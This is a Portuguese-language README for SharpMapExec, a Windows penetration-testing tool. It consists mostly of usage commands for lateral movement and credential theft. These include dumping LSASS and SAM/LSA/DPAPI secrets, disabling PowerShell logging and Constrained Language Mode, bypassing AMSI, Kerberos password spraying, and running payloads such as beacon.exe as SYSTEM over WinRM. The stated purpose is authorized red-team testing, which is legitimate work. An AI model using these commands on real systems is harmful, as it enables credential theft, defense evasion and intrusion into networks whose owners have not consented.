
Canivete suíço de teste de penetração nativo do Windows para movimento lateral, acesso a credenciais, exfiltração de dados e varredura de vulnerabilidades através dos protocolos CIM, SMB, WinRM, LDAP e Domain com autenticação Kerberos/NTLM.
Uma versão aprimorada do CrackMapExec. Esta ferramenta foi criada para simplificar testes de penetração em redes e para criar um canivete suíço feito para rodar no Windows, que muitas vezes é um requisito durante simulações de ameaças internas.
Além de escanear por acesso, pode ser usado para identificar configurações vulneráveis e exfiltrar dados. A ideia para os módulos de exfiltração de dados é executar a menor quantidade de código necessária no computador remoto. Para conseguir isso, a ferramenta baixará todos os segredos para o diretório loot e os analisará localmente.
Você pode especificar se deseja usar autenticação Kerberos ou NTLM. Se escolher Kerberos, a ferramenta criará um token sacrificial e usará Rubeus para importar/solicitar o ticket. Se NTLM for especificado, a ferramenta usará SharpKatz SetThreadToken ou a impersonação LogonUser.
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrn (Runs Enable-PSRemoting -Force)
/m:disable_winrn (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Scan for accessible Smb shares)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump & parse lsass)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)
/m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)
/m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes in memory)
/m:download /path:C:\file /destination:file (Download file from host)
/m:upload /path:C:\file /destination:file (Upload file to host)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Download user and password policy)
Pode ser usado para escanear por acesso de administrador, compartilhamentos SMB acessíveis, versão do SMB e relay signing.
/m:shares (Scan enumerated shares for access)
A fera. Possui bypass Amsi embutido, JEA language breakout, análise de funções JEA. Pode ser usado para execução de código, escaneamento por acesso PsRemote, endpoints JEA vulneráveis e exfiltração de dados.
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)
Atualmente suporta password spraying de domínio e a criação de um TGT para o usuário atual que pode ser usado com o parâmetro /ticket para obter o contexto atual.
Baixar dados necessários antes do pw spraying
/m:spraydata (Download user and password policy)
Para execução fácil ou em massa na memória de assemblies C#

Password spraying Kerberos seguido de escaneamento por acesso de administrador local

Este projeto suporta escaneamento de endpoints JEA e analisará o código fonte de comandos não padrão e verificará se o endpoint não foi configurado para o modo no-language.

Descubra reutilização de senha de administrador local com um hash NT.

Despejo em massa do processo Lsass com DLL assinada pela Microsoft embutida e salva na pasta loot

Executa em todos os processos de delegação ordenados por usuários únicos

Escaneie por SMB signing e SMBv1

E muito mais!
Alguns cenários com Kerberos exigirão que você sincronize seu relógio com o DC e configure o DNS
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
Projetos que ajudaram ou existem nesta ferramenta